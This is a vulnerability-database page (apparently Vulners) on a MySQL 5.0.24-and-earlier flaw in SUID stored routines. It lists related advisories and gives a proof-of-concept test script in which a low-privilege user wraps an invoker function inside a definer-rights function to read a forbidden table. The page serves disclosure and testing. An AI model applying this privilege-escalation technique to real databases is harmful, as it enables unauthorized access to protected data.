MySQL 4/5 - SUID Routine Miscalculation Arbitrary DML Statement Execution
| Reporter | Title | Published | Views | Family All 174 |
|---|---|---|---|---|
| Mac OS X < 10.4.9 Multiple Vulnerabilities (Security Update 2007-003) | 13 Mar 200700:00 | – | nessus | |
| FreeBSD : mysql -- database suid privilege escalation (a9c51caf-6603-11db-ab90-000e35fd8194) | 30 Oct 200600:00 | – | nessus | |
| MySQL < 5.0.25 / 5.1.12 Privilege Escalation | 16 Jan 201200:00 | – | nessus | |
| Oracle Linux 5 : mysql (ELSA-2008-0364) | 7 Sep 202300:00 | – | nessus | |
| RHEL 5 : mysql (RHSA-2008:0364) | 22 May 200800:00 | – | nessus | |
| Scientific Linux Security Update : mysql on SL5.x i386/x86_64 | 1 Aug 201200:00 | – | nessus | |
| SuSE 10 Security Update : mysql (ZYPP Patch Number 2073) | 13 Dec 200700:00 | – | nessus | |
| openSUSE 10 Security Update : mysql (mysql-2075) | 17 Oct 200700:00 | – | nessus | |
| Ubuntu 6.06 LTS : mysql-dfsg-5.0 vulnerabilities (USN-338-1) | 10 Nov 200700:00 | – | nessus | |
| mysql -- database suid privilege escalation | 29 Mar 200600:00 | – | freebsd |
10
source: https://www.securityfocus.com/bid/19559/info
MySQL is prone to these vulnerabilities:
- A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges.
- A security-bypass vulnerability. A user can bypass restrictions and create new databases.
MySQL 5.0.24 and prior versions are affected by these issues.
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Sep 2013 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 26.5
EPSS0.12469